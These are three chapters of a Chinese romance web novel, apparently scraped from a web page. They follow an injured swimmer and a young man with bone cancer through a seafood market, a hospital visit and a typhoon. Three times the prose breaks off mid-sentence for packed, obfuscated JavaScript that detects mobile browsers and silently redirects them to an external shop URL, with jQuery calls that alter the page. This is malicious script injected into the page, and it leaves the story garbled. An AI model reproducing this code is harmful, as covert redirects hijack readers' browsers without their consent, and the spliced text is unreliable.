《鲸语说给晚风听》 4. 夏·初遇 周三早上,疗养院的食堂炸开了锅。 “三文鱼是进口的,绝对新鲜!”采购部的李师傅拍着胸脯保证,“王医生特意交代了,要给孩子们补充优质蛋白。” “那这龙虾怎么回事?”食堂张阿姨拎起一只还在张牙舞爪的大家伙,“这玩意儿谁定的?” “也是王医生,说换个口味……” 苏晚禾端着餐盘从旁边经过,瞥了一眼那只被五花大绑的龙虾。 确实够大,估计有两三斤,深蓝色的甲壳在晨光下泛着金属光泽。 “晚禾啊,”张阿姨看见她,眼睛一亮,“你们游泳队是不是常吃海鲜?这龙虾怎么处理你知道吗?” “我们吃的是营养师配好的餐,不处理活物。”苏晚禾实话实说,“不过......清蒸应该就行?” “清蒸也得先杀啊。”张阿姨发愁,“李师傅说他不敢,我也没弄过这么大的。” 最后解决方案是:李师傅开车把海鲜送到镇上的海鲜市场,请相熟的摊主帮忙处理,中午前再送回来。 “我也去吧。”苏晚禾突然说,“在疗养院待着也没事,正好去市场转转。” 于是上午九点,苏晚禾坐上了疗养院那辆白色小货车的副驾驶。 云港的海鲜市场就在码头边上,是个半露天的大棚。 还没下车就能闻到浓重的海腥味,混杂着冰块、海水和鱼虾的气味。 市场里人声鼎沸,摊主们的吆喝声、顾客的讨价还价声、鱼在盆里扑腾的水声交织在一起。 李师傅熟门熟路地把车停在一个摊子前:“老赵!帮个忙!” 摊主是个五十多岁的大叔,皮肤黝黑,围裙上沾着鱼鳞:“哟,李师傅!今天带这么多好东西?这龙虾可以啊——” “帮忙处理一下,中午前得送回去。”李师傅打开后备箱,露出里面几个泡沫箱。 苏晚禾跳下车,帮着把箱子搬下来。 老赵的摊位不小,一排排塑料盆里养着各种鱼虾蟹,旁边的冰块上摊着处理好的海鲜。 两个帮工正在给客人称重装袋。 “小姑娘新来的?”老赵看了眼苏晚禾,“以前没见过。” “疗养院的。”苏晚禾说。 “哦哦,王医生那边的。”老赵点点头,麻利地开始处理鱼鳞,“那你坐着等会儿,这批货处理完就弄你们的。” 苏晚禾没坐,她站在摊位边看。 市场里人来人往,有拎着菜篮子的本地阿姨,也有背着相机的游客。 一个卖贝类的摊子前围了好多人,大概在抢特价。 就在她东张西望的时候,一个熟悉的身影走进了视野。 谢临洲。 他今天穿了件浅蓝色的衬衫,手里拎着一个帆布袋,正站在不远处一个卖海带的摊子前挑拣。 晨光从大棚的缝隙漏下来,在他身上洒下斑驳的光点。 苏晚禾想也没想就挥手:“谢临洲!” 谢临洲转过头,看见她时愣了一下,然后点点头走过来。 “你怎么在这儿?”两人同时开口,又同时停住。 苏晚禾先笑出来:“疗养院采购海鲜,我跟着来帮忙。你呢?” “买海带。”谢临洲举起手里的袋子,“煮汤。” “你会做饭?” “简单的会。”谢临洲看向她身后摊位上那只大龙虾,“这是你们的?” “嗯,中午加餐。”苏晚禾突然想起什么,转头问老赵,“赵叔,这龙虾怎么吃最好啊?” “这么大的,刺身或者清蒸都行。”老赵头也不抬,“不过你们疗养院那帮老爷爷老太太,估计更喜欢蒜蓉蒸。” 正说着,李师傅从市场办公室回来了:“老赵,单子签好了,我先去送趟货,十分钟后回来取龙虾。”他看向苏晚禾,“晚禾你在这儿等着?” “行。” 李师傅开车走了。 老赵那边来了个大客户,一口气要了二十斤虾,两个帮工忙不过来,老赵自己也去帮忙称重了。 摊位边只剩下苏晚禾、谢临洲,还有那只暂时被放在一个浅塑料盆里的大龙虾。 “它会不会跑出来?”苏晚禾盯着龙虾的钳子。 “盆浅,有可能。”谢临洲说。 话音刚落,龙虾突然一个挣扎,钳子扒住盆沿,整个身体往上一挺—— 哗啦! 盆翻了。 龙虾掉在地上,立刻开始横着爬行,速度居然不慢。 紧接着,旁边几个装着活虾的盆被它撞到,一连串的连锁反应:盆倒,虾跳,水溅。 眨眼工夫,十几只对虾从盆里蹦出来,在地面上噼里啪啦地弹跳。 “我去!”苏晚禾傻眼了。 谢临洲反应比她快。 他放下帆布袋,跨步上前想去抓龙虾,但龙虾一甩尾巴,钻进旁边的摊位底下。 “那边!它往那边跑了!”隔壁摊的阿姨尖叫。 苏晚禾也顾不上了,弯腰开始抓地上的虾。 虾又滑又蹦,她抓了好几次才捏住一只,扔回盆里。 谢临洲则蹲下身,试图把龙虾从摊位底下赶出来。 “小谢!用这个!”老赵扔过来一个捞鱼网。 谢临洲接过网兜,趴在地上往摊位底下探。 苏晚禾抓完这边的虾,也跑过来帮忙。 “看见了吗?”她蹲在他旁边。 “在柱子后面。”谢临洲压低声音,“我数三二一,你从那边吓它一下。” “怎么吓?” “拍地。” “哦。” 谢临洲数到一,苏晚禾用力拍了下地面。 龙虾受惊,猛地往外窜——正好撞进谢临洲的网兜里。 “抓住了!”苏晚禾跳起来。 谢临洲把网兜提起来,龙虾在里面张牙舞爪。 两人对视一眼,都松了口气。 然后他们才注意到彼此的狼狈:谢临洲的衬衫下摆湿了一大片,沾着泥沙;苏晚禾的裤腿上全是水渍,手里还捏着一只漏网的虾。 老赵和帮工们已经收拾好了其他摊位,看见他俩这样,哈哈大笑:“你俩这是赶海去了?” “赵叔你还笑!”苏晚禾把最后那只虾扔进盆里,“快把这祖宗处理了吧,太能折腾了。” “马上马上。”老赵接过龙虾,动作麻利地开始处理。 苏晚禾和谢临洲走到摊位后面的水龙头边洗手。 水流冲掉手上的腥味,苏晚禾看着谢临洲衬衫上的污渍:“你这衣服......” “没事,回去洗。”谢临洲甩了甩手上的水,“你裤腿也湿了。” “反正快中午了,回疗养院换。”苏晚禾转头看他,突然笑了,“刚才你趴地上那样,特别像抓螃蟹的小孩。” 谢临洲顿了顿:“你拍地那一下,也有的一说。” “说什么?这是专业动作好吗?”苏晚禾反驳,但嘴角还翘着。 老赵很快处理好了龙虾,装进保温箱。 这时李师傅也回来了,看见两人湿漉漉的样子吓了一跳:“怎么了这是?” “龙虾越狱了。”苏晚禾言简意赅,“已经镇压了。” 李师傅哭笑不得,赶紧把箱子搬上车。 苏晚禾看了眼时间,十点半。 “我得回去了。”她对谢临洲说。 谢临洲点点头。 老赵突然开口:“等等。”他转身从摊位上拿了两串刚烤好的鱿鱼,塞给他们一人一串,“尝尝,刚烤的,香着呢。” 鱿鱼还冒着热气,刷了酱汁,撒着芝麻,香气扑鼻。 “这怎么好意思......”苏晚禾说。 “拿着拿着,下次多来照顾生意就行。”老赵挥挥手,又去忙了。 苏晚禾和谢临洲拿着鱿鱼串,一时不知该怎么办。 “去那边吃吧。”谢临洲指了指码头边的台阶。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930136|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人走到码头,在石阶上坐下。 早晨的阳光暖洋洋的,海风拂面,带着咸味和烤鱿鱼的香气。 远处,渔船正在归港,海鸥在桅杆间盘旋。 苏晚禾咬了一口鱿鱼。 很嫩,酱汁微甜,烤得恰到好处。 “好吃。”她说。 “嗯。”谢临洲也吃了一口。 他们安静地吃完了一整串鱿鱼。 苏晚禾把竹签扔进垃圾桶,伸了个懒腰:“说起来,今天周三。” “嗯。” “晚上灯塔,别忘了。” “不会忘。” 李师傅在那边按喇叭了。 苏晚禾站起来:“那我先走了。晚上见?” “晚上见。” 苏晚禾小跑着回到车边,拉开车门时回头看了一眼。 谢临洲还坐在码头边,面朝大海,背影在阳光下显得很安静。 车开回疗养院的路上,李师傅笑着说:“刚才那小伙子是你朋友?” “算吧。”苏晚禾看着窗外飞逝的街景,“刚认识不久。” “看着挺稳重的。”李师傅说,“就是脸色不太好,得多补补。” 苏晚禾没接话。 中午的龙虾大餐很受欢迎,疗养院的老人们赞不绝口。 苏晚禾分到了一小份蒜蓉蒸龙虾,肉质确实鲜甜。 她吃完后回房间换了条裤子,把湿的那条晾起来。 下午复健时,王医生检查了她的肩膀,点点头:“恢复得不错。下周可以开始水下活动了,记住,只是走动,不许划水。” “真的?”苏晚禾眼睛一亮。 “前提是你这周乖乖做复健,不许乱来。”王医生警告。 “保证不乱来。” 复健结束后,苏晚禾心情很好。 她回到房间,看了眼日历,周三被红笔圈着,旁边画了个小星星。 傍晚六点,她早早吃完晚饭,换了件方便活动的衣服,把泳镜塞进背包,匆匆出了门。 七点一刻,她出发往灯塔走。 夕阳正在西沉,海面一片金红。 她走到海岬时,看见灯塔的铁门已经开了,顶层有微弱的光透出来。 她爬上螺旋楼梯,到顶层时,谢临洲正在调望远镜。 “今天挺早。”他说。 “迫不及待想看星星。”苏晚禾把背包放下,“今天看什么?” “木星和它的卫星,还有天鹅座。”谢临洲让开位置,“你先看,我记数据。” 苏晚禾凑近望远镜。 夜空晴朗,星星清晰得像撒在黑绒布上的钻石。 木星还是那颗浅黄色的圆点,周围四颗卫星排成一条细线。 “真美。”她轻声说。 谢临洲在笔记本上记录着时间、坐标和可见度。 台灯的光晕把他的侧脸照得很柔和。 看了十分钟,苏晚禾直起身,眼睛有点花。 她揉了揉,突然想起什么:“对了,说好教你游泳理论的。现在有空吗?” 谢临洲合上笔记本:“有。” 苏晚禾从背包里拿出一个小本子,那是她的训练笔记,上面画着各种泳姿分解图。 她翻到自由泳那页:“你看,自由泳的划水动作,其实和羽毛球高远球的发力有点像。都是要用到核心力量,转体带动手臂......” 她讲得很认真,偶尔用手比划。 谢临洲安静地听着,偶尔点头或提问。 海风从窗口吹进来,带着夜间的凉意。 灯塔下,潮水正慢慢上涨,哗啦,哗啦。 两个年轻人,一个不能再游泳,一个不能再打球,在废弃的灯塔顶层,一个讲着水里的技巧,一个看着天上的星星。 而码头上,老赵正在收摊。 他看了眼灯塔的方向,笑了笑,关掉了摊位的灯。 夜晚还长,星星还亮。 5. 夏·初遇 周四早晨,苏晚禾是被肩膀的酸痛感弄醒的。 “让你昨天在海鲜市场瞎折腾。”她龇牙咧嘴地从床上坐起来,活动了一下右肩。 确实比平时疼,估计是抓虾和拍地那几下用力过猛了。 王医生今天上午坐诊,她得去复查。 八点半,苏晚禾准时出现在疗养院二楼的诊疗室外。 走廊里已经坐了几个等待的老人,她找了个空位坐下,从背包里掏出训练笔记翻看,昨晚给谢临洲讲自由泳发力,她自己又把要点重新梳理了一遍。 “苏晚禾。”护士在门口叫她的名字。 她收起笔记走进去。 诊疗室很简洁,一张办公桌,一张检查床,墙上挂着人体骨骼图。 王医生正在看电脑上的片子,见她进来,指了指检查床:“坐,我看看肩膀。” 苏晚禾坐下,配合着做了几个抬举动作。 “疼吗?”王医生按了按她的肩关节。 “一点点。” “昨天干什么了?”王医生抬头看她,“复健记录上写的是常规训练,但你这肌肉反应不太对。” 苏晚禾心虚地移开视线:“就......稍微活动了一下。没剧烈运动。” 王医生叹了口气:“晚禾,我知道你急,但肩袖损伤最怕二次伤害。你现在乱来,以后可能连日常生活都受影响,更别说游泳了。” 这话戳中了苏晚禾最怕的点。 她低下头:“我知道了。” “下周一开始水下活动,每天半小时,只能在浅水区走动,绝对不许划水。”王医生在病历本上写着,“我会让护士小陈盯着你。” “好。” “去拍个片子吧,看看恢复情况。”王医生开了单子,“拍完直接拿过来给我看。” 苏晚禾接过单子出了诊疗室,往一楼的放射科走。 走廊里人来人往,护士推着药品车,老人拄着拐杖慢慢走。 她经过楼梯口时,差点和一个人撞上。 “抱歉。”她及时刹住脚。 对方也后退了一步。是谢临洲。 他今天穿了件深灰色的外套,手里拿着一个牛皮纸文件袋,脸色看起来比平时更苍白一些。 “你来复查?”苏晚禾问。 谢临洲点点头:“每月一次。” “我也要复查。”苏晚禾晃了晃手里的单子,“去拍片子。” “一起吧。”谢临洲说。 两人并排往放射科走。 走廊的窗户开着,晨风吹进来,带着青草和消毒水的混合气味。 “你肩膀怎么样?”谢临洲问。 “医生说恢复得还行,但昨天可能活动多了,有点疼。”苏晚禾侧头看他,“你呢?脸色不太好。” “早上抽了血,有点晕。”谢临洲简单地说。 放射科在走廊尽头。 候诊区坐着几个人,电子屏上显示着排队号码。 苏晚禾取了号,和谢临洲在塑料椅上坐下。 “你每月都来?”她问。 “嗯。检查病情进展,调整用药。”谢临洲把文件袋放在膝盖上,手指无意识地摩挲着边缘。 叫号机叫到了她的号码。苏晚禾站起来:“那我先进去了。” “好。” 拍片过程很快。 她按照技师的要求摆了几个姿势,机器嗡嗡作响。 十分钟后,她拿着装片子的袋子出来,谢临洲已经不在候诊区了。 电子屏显示他的号码还没叫到。 苏晚禾在原地站了几秒,朝走廊另一头的卫生间方向走去。 果然,在男女卫生间之间的饮水机旁,她看见了谢临洲。 他背靠着墙,闭着眼睛,额头有细密的冷汗。 手里的文件袋掉在地上,里面的纸张散落出来,几张检查单,一份病历本,还有几张影像片子。 “谢临洲?”苏晚禾快步走过去。 谢临洲睁开眼,眼神有点涣散,但很快聚焦:“没事......低血糖。” 苏晚禾蹲下身帮他捡文件。 检查单上是密密麻麻的医学术语和数值,她看不懂,但能看见几个箭头标着“↑”。 影像片子的塑料袋上印着“右肱骨正侧位”。 然后她捡起了那本病历本。 深蓝色的封皮,印着云港市人民医院的字样。 翻开的第一页,诊断栏里黑色钢笔字清晰地写着: “骨肉瘤(右肱骨),Ⅲ期。” 下面还有一行小字:“预后不良,建议姑息治疗。” 苏晚禾的手僵住了。 她听说过骨肉瘤。 队里有个师兄的亲戚得过,说是恶性程度很高的骨癌,多发于青少年。 治疗很痛苦,预后...... 她突然想起谢临洲说“以前打”羽毛球时的平静语气。 想起他在旧球馆一遍遍对着墙挥拍。 想起他苍白的脸色和冰凉的手指。 “苏晚禾。”谢临洲的声音从头顶传来。 她抬起头。 谢临洲已经站直了身体,脸色还是白,但眼神恢复了平静。 他伸手接过病历本,合上,和其他的检查单一起塞回文件袋。 “该我了。”他说的是拍片叫号。 苏晚禾站起来,张了张嘴,不知道该说什么。 谢临洲朝她点点头,朝放射科走去。 他的背影挺直,步伐稳定,完全看不出刚才的不适。 苏晚禾在原地站了一会儿,然后转身往王医生的诊疗室走。 肩部的酸痛还在,但心里堵着的东西更重。 她把片子交给王医生。 王医生对着光看了半天,点点头:“恢复得不错,骨痂形成良好。继续保持,别乱来。” “嗯。” “怎么了?心事重重的。”王医生注意到她的表情。 “没什么。”苏晚禾站起来,“王叔叔,我问个问题......骨肉瘤,三期,是什么意思?” 王医生愣了一下,神色严肃起来:“你怎么突然问这个?” “就......听说一个朋友得了。” 王医生摘下眼镜,擦了擦镜片:“骨肉瘤是恶性骨肿瘤,三期意味着已经有远处转移的迹象,通常到肺......治疗很困难,预后......”他顿了顿,看着苏晚禾,“你那个朋友,多大了?” “十八。” 王医生沉默了几秒,叹了口气:“太年轻了。现在医疗技术进步,但......还是要做好心理准备。” 苏晚禾觉得喉咙发紧。 她谢过王医生,走出诊疗室。 走廊里空荡荡的,阳光从窗户照进来,在地板上投出明亮的光斑。 她回到301房间,关上门,背靠着门板滑坐到地上。 背包里有什么硬物硌着她。 她拉开拉链,摸出来,是那枚泳镜。 她盯着泳镜看了很久,然后起身打开衣柜,从最底层拖出一个收纳盒。 打开,里面整整齐齐码着她的奖牌:省青赛金牌、全国青年锦标赛银牌、城市邀请赛金牌......大大小小十几枚,在阳光下泛着金属光泽。 她一枚一枚拿出来,摆在床上。 金的,银的,铜的。 每一枚背面都刻着日期和比赛名称。 这些曾经是她全部的意义。 而现在有个人,可能再也没有机会站上领奖台了。 苏晚禾坐在地上,看着满床的奖牌发呆。 直到窗外传来午餐铃,她才猛地回过神。 她把奖牌一枚枚收好,想了想,从抽屉里找出一条深蓝色的绶带,把奖牌都串起来,沉甸甸的一串。 下午三点,她拎着这串奖牌出了疗养院。 她没有去旧球馆,今天周五,谢临洲不去。 她直接去了镇西那栋旧居民楼。 地址是她上次问海鲜摊老赵的:“谢临洲?就住码头西边那栋红砖楼,二楼最里间。” 楼很旧,楼梯扶手锈迹斑斑。 苏晚禾爬上二楼,在最里面的门前停下。 门缝里没有光,也没有声音。 她犹豫了一下,抬手敲门。 敲了三下,里面传来脚步声。 门开了。 谢临洲穿着家居服,头发有点乱,像是刚睡醒。 看见她,他明显愣了一下。 “苏晚禾?” “给你看个东西。”苏晚禾举起手里的奖牌串。 谢临洲的目光落在那一串金属牌上,又抬眼看她。 “不让我进去?”苏晚禾问。 谢临洲侧身让开。 房间很小,但很整洁。一张床,一张书桌,一个衣柜。 书桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930137|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆满了书,大部分是海洋和天文相关的。 墙角立着那个羽毛球拍包。 苏晚禾把奖牌串放在书桌上,金属碰撞发出清脆的响声。 “这是我所有的奖牌。”她说,“从十二岁到现在。” 谢临洲靠在门边,看着她。 “我知道这跟你没关系。”苏晚禾继续说着,语速有点快,“我也知道奖牌不能治病。但是......”她深吸一口气,“但是我觉得,如果你不能打比赛了,那至少......至少可以看看别人赢来的东西。” 她拿起那枚全国青年锦标赛的银牌,递给他:“这块是最重的。比赛的时候我肩膀其实已经有点不舒服了,游到最后五十米疼得想哭,但还是撑下来了。” 谢临洲接过奖牌。 银牌在手心里沉甸甸的,边缘已经有些磨损。 “这块省赛金牌,”苏晚禾又拿起一枚,“是我第一次赢。上台领奖的时候腿都在抖。” “这块城市邀请赛的铜牌,其实含金量不高,但我喜欢它的设计......” 她一枚一枚地介绍,语速渐渐慢下来。 谢临洲安静地听着,偶尔用手指摩挲奖牌的纹路。 最后一块介绍完,房间里陷入沉默。 窗外的风吹进来,翻动书页。 “苏晚禾。”谢临洲开口。 “嗯?” “你为什么要给我看这些?” 苏晚禾咬了咬嘴唇:“因为我今天看到你的病历了。三期......王医生跟我说了什么意思。”她抬起头看他,“我不知道该说什么,也不知道能做什么。我就想......也许你可以看看这些。” 她顿了顿,声音轻下来:“也许你可以想,这个世界上还有人为了赢一块金属牌子拼命训练,还有人觉得这些很重要。所以你......你不要那么平静地接受。你可以不甘心,可以生气,可以......可以不想放弃。” 谢临洲看着她。 灰色的眼睛里有什么情绪在涌动,很深,很沉。 然后他微微弯起嘴角。 那是苏晚禾第一次看见他笑。 很淡,但确实是一个笑容。 “我没有放弃。”他说,“我还在挥拍。” 他把手里的银牌放回桌上,金属碰撞发出轻响:“而且,谢谢你给我看这些。” 苏晚禾鼻子有点酸。 她别过头:“不用谢。反正这些牌子现在也没用,放着也是落灰。” “有用。”谢临洲说,“它们证明你游得很快。” 苏晚禾转回头,看见他正拿起那枚省赛金牌,对着光看上面的刻字。 “苏晚禾。”他又叫她的名字。 “干嘛?” “周三晚上,灯塔见。” “当然见啊,不是说好了吗?” “嗯。”谢临洲放下奖牌,“那周三见。” 苏晚禾把奖牌串重新收好,拎起来时沉得她胳膊一沉。 谢临洲送她到门口。 “对了,”苏晚禾在楼梯口转身,“下周一开始,我可以在水里走动了。虽然不能游,但至少能下水了。” “恭喜。” “等我能游了,给你表演个五十米自由泳。”苏晚禾说,“你计时。” “好。” 苏晚禾走下楼梯。 走到一楼时,她抬头看了一眼,谢临洲还站在二楼走廊的窗边,朝她点了点头。 她拎着奖牌串往疗养院走。 夕阳西下,海面一片金红。 肩部的酸痛似乎减轻了一些。 而楼上,谢临洲回到房间,关上门。 他在书桌前坐下,翻开日记本。 笔尖在纸面上停留了很久,才落下字: “7月29日,复查日。指标又差了。 在医院走廊低血糖,被苏晚禾撞见。她看到了病历。 下午她来了,带了一串游泳奖牌,沉甸甸的。她说‘你可以不甘心’。 我其实一直不甘心。 但今天之后,也许可以更坦然地不甘心。 她下周可以下水了。真好。 希望有一天,能看她游一次五十米自由泳。 我会好好计时。” 他合上日记本,看向窗外。 远处的海面上,归港的渔船正拉响汽笛。 悠长,绵远,像某种呼唤。 6. 夏·初遇 周一早上,苏晚禾是被雨声吵醒的。 不是那种温柔的细雨,而是噼里啪啦砸在窗户上的大雨,伴随着呼啸的风声。 她拉开窗帘,外面天色阴沉得像傍晚,海面上一片灰蒙蒙,浪头比平时高出一大截。 “台风要来了。”早餐时,食堂的张阿姨一边发馒头一边说,“气象台说今晚登陆,咱们这儿是外围影响,但风也不小。下午开始全院戒严,不许出门了啊。” 苏晚禾咬着馒头,想起今天是周一,她水下活动的第一天。 看来要泡汤了。 果然,上午的复健结束后,王医生叫住她:“今天泳池关闭,台风天不安全。水下活动延后。” “那明天呢?” “看天气。”王医生推了推眼镜,“台风过境得两三天,你这周可能都下不了水了。” 苏晚禾蔫了。 她回到房间,看着窗外越来越大的雨,心里那股烦躁劲儿又上来了。 不能训练,不能下水,现在连门都不能出。 她在房间里转了几圈,突然想起什么,拿出手机。 没有谢临洲的联系方式。 他们见过五次面,但从来没交换过电话或微信。 每次都是口头约定时间地点,到了就见面,见了就各忙各的。 苏晚禾盯着手机屏幕看了几秒,把手机扔回床上。 午饭时雨更大了。 疗养院的广播开始循环播放通知:“请所有人员留在室内,关闭门窗。台风期间暂停一切户外活动......” 吃完饭,苏晚禾回到房间,躺在床上看天花板。 雨点砸在玻璃上,发出密集的敲击声。 风从窗缝钻进来,呜呜作响。 她想起上周三在灯塔,谢临洲说今天会去旧球馆,周一三五,他的固定训练日。 但这么大的雨,他应该不会去了吧? 不对。 苏晚禾坐起来。 谢临洲那个人,说一周三次就是一周三次。 上次在海鲜市场那么狼狈,他都能准时去灯塔。 今天这种天气...... 她抓起外套冲出门。 “苏小姐!”护士小陈在走廊喊她,“外面台风,不能出去!” “我就去门口看看!”苏晚禾头也不回地跑下楼。 疗养院大门已经锁了,但侧门还开着供工作人员进出。 看门的保安正在加固窗户,看见她连忙拦:“小姑娘不能出去,风太大了!” “我就看一眼!”苏晚禾从门缝往外看。 外面的景象让她倒吸一口凉气。 街道上积水已经没过脚踝,树枝被吹得疯狂摇摆,一个垃圾桶被风吹倒,咕噜噜滚出去老远。 雨是横着下的,打在人脸上生疼。 这种天气,谢临洲应该不会出门吧? 但她还是不放心。 “叔叔,”她转头问保安,“能借把伞吗?我很快回来。” “不行不行,王医生交代了,谁都不能出去。”保安连连摆手,“你赶紧回房间去。” 苏晚禾咬着嘴唇,看了眼外面越来越恶劣的天气,最终还是转身回了楼里。 下午三点,台风正式影响云港。 疗养院全面封闭,所有人员集中在主楼。 老人们被安排在大厅看电视,工作人员忙着检查各处门窗。 苏晚禾坐在大厅角落里,心不在焉地看着电视上的台风特别报道。 主持人正说着“最大风力十级,请市民尽量不要外出”,画面切换到海边,浪头已经拍上了堤岸。 她突然站起来,朝楼梯间跑去。 “晚禾!你去哪儿?”王医生在后面喊。 “我回房间拿东西!”她头也不回。 实际上她跑回了301房间,从衣柜里翻出那件最厚的冲锋衣,又翻出雨衣和防水手电。 她把泳镜塞进口袋,不知道为什么,总觉得带着它能安心点。 然后她打开窗户。 风立刻灌进来,吹得她倒退两步。 雨点斜着打在她脸上,冰凉。 她探头往下看,二楼,不算高,下面是一片草坪,现在已经被水淹了一半。 苏晚禾小时候在体校没少干过翻墙逃训的事。 她估算了一下高度,把雨衣套上,冲锋衣穿在里面,把手电别在腰上。 翻出窗台,扒着外墙的水管,一点点往下滑。 雨打得她睁不开眼,风几乎要把她吹下去。 她咬紧牙关,脚终于触到地面,水已经淹到小腿了。 她深一脚浅一脚地朝外跑。 街上空无一人,所有店铺都关了门。 路面积水越来越深,有些地方已经没过膝盖。 苏晚禾靠着记忆往镇西方向走,风大得她几乎站不稳,雨衣被吹得哗啦作响。 走到一半,她看见前面路口有棵树倒了,横在路中间。 她正准备绕路,突然听见树那边传来熟悉的声音: “这边!往这边推!” 是谢临洲。 苏晚禾趟水跑过去,看见谢临洲和两个市政工人正在试图挪开倒下的树枝。 他穿着黑色的雨衣,但浑身已经湿透,头发贴在额头上,脸色在雨幕中白得吓人。 “谢临洲!”她大喊。 谢临洲转过头,看见她时明显愣了一下:“苏晚禾?你怎么......” “你先别管我!”苏晚禾跑过去帮忙推树枝,“这要挪哪儿去?” “往路边,别挡着排水口!”一个工人喊道。 四个人一起用力,终于把树枝挪到路边。 谢临洲喘着气,看向苏晚禾:“你怎么出来了?疗养院不是戒严了吗?” “你呢?”苏晚禾反问,“这种天气你还出门?” “我来球馆的路上看见树倒了,帮忙。”谢临洲抹了把脸上的雨水,“球馆那边地势低,我得去看看窗户关好没有。” “我跟你一起去。” “你回去。” “我不。” 两人在雨中对视。 谢临洲的灰眼睛在雨幕中显得格外深,他看了她几秒,最终转身:“跟紧我。” 旧球馆的情况比想象中糟糕。 后墙的一扇窗户被风吹开了,雨水正往里面灌。 谢临洲从包里掏出工具,他居然带了锤子和钉子,开始加固窗户。 苏晚禾帮他扶着木板,雨水顺着她的手臂往下流,冰凉。 “你每次来都带这些?”她大声问,风声太大,不喊听不见。 “台风季节常备。”谢临洲锤着钉子,动作熟练。 窗户加固好,但馆内已经有了一层积水。 谢临洲检查了一圈,确定没有其他破损,这才松了口气。 “现在怎么办?”苏晚禾问,“回不去了吧?” 外面天已经黑得像晚上,风声呼啸,雨丝毫没有减小的迹象。 街道上的积水更深了。 谢临洲看了眼外面:“在这里等风小点。” 两人在球馆里找了个相对干燥的角落坐下。 谢临洲从背包里掏出毛巾,他居然连毛巾都带了,递给苏晚禾一条。 “你包里还有什么?”苏晚禾擦着头发。 “水,饼干,药,手电,充电宝。”谢临洲一样样拿出来,“习惯了。” 苏晚禾看着他苍白的脸:“你吃药了吗?” “吃了。”谢临洲拧开水瓶喝了一口,“你呢?为什么跑出来?” “我......”苏晚禾顿了顿,“我怕你来球馆。” 谢临洲看向她。 “我知道你每周一三五都来,雷打不动。”苏晚禾继续说,“今天这种天气,我觉得你可能还是会来。所以我想来看看。” 谢临洲沉默了几秒:“很危险。” “你也知道危险?”苏晚禾没好气,“那你还出门?” “球馆要是进水,以后就真不能用了。”谢临洲说得很平静,“我得来看看。” 苏晚禾不说话了。 她靠在墙上,听着外面呼啸的风雨声。 球馆里很暗,只有谢临洲手电的光晕照亮一小片区域。 “冷吗?”谢临洲问。 “有点。” 谢临洲从背包里又掏出一件外套,居然还有备用,递给她。 苏晚禾接过来穿上,是件深蓝色的抓绒衣,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930138|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点大,但很暖和。 “你背包是哆啦A梦的口袋吗?”她忍不住问。 谢临洲弯了弯嘴角:“差不多。” 两人安静地坐着。 外面的风声渐渐小了,雨声也变得温和了些。 谢临洲看了眼手机:“七点了。风小多了,等雨小点我送你回去。” “你现在感觉怎么样?”苏晚禾看着他,“脸色很不好。” “累。”谢临洲闭上眼睛,“但没事。” 苏晚禾往他那边挪了挪。 两人的肩膀挨在一起,隔着湿透的衣服能感觉到对方的体温。 “谢临洲。”她轻声说。 “嗯?” “下次台风天,别出来了。” “那你呢?” “我也不出来。”苏晚禾说,“我们约好,台风天都不出门。” 谢临洲睁开眼睛,看向她。 手电的光晕里,她的眼睛很亮,睫毛上还沾着雨水。 “好。”他说。 雨又小了一些。 谢临洲站起来:“走吧,趁现在。” 两人趟着水往回走。 街道上已经开始有市政车辆在清理路障,路灯也亮了几盏。 走到疗养院附近时,苏晚禾突然想起什么:“我怎么进去?我是翻窗出来的。” 谢临洲想了想:“走后门。我帮你看看。” 疗养院后门果然没人看守,保安都去前门抗洪了。 苏晚禾轻手轻脚地溜进去,转身朝谢临洲挥手:“你快回去吧,路上小心。” 谢临洲点点头,转身走了。 苏晚禾摸回301房间,从窗户爬进去,还好窗户没锁。 她把湿透的衣服换下来,冲了个热水澡,裹着毯子坐在床上。 窗外,风雨已经完全停了。 月亮从云层后面露出来,洒下一地银白。 她拿起手机,犹豫了一下,还是发了条短信给一个疗养院的护工,她之前存了号码:“姐姐,你知道镇西旧居民楼谢临洲家的电话吗?谢谢。” 十分钟后,护工回信了:“问了居委会,电话是xxxxxxx。怎么了?” “没事,谢谢。” 苏晚禾看着那串数字,没有打。 她记在手机里,然后躺下。 第二天早上,阳光明媚得仿佛昨天的台风是一场梦。 苏晚禾下楼吃早餐时,王医生板着脸走过来:“苏晚禾,你昨天是不是偷跑出去了?” 苏晚禾装傻:“啊?” “保安看见你翻窗了。”王医生叹气,“我知道你闷,但台风天太危险了。下次不许这样,听到没有?” “听到了。”苏晚禾老实认错。 “下午泳池开放,你可以开始水下活动了。”王医生说,“记住,只能走动。” “真的?”苏晚禾眼睛一亮。 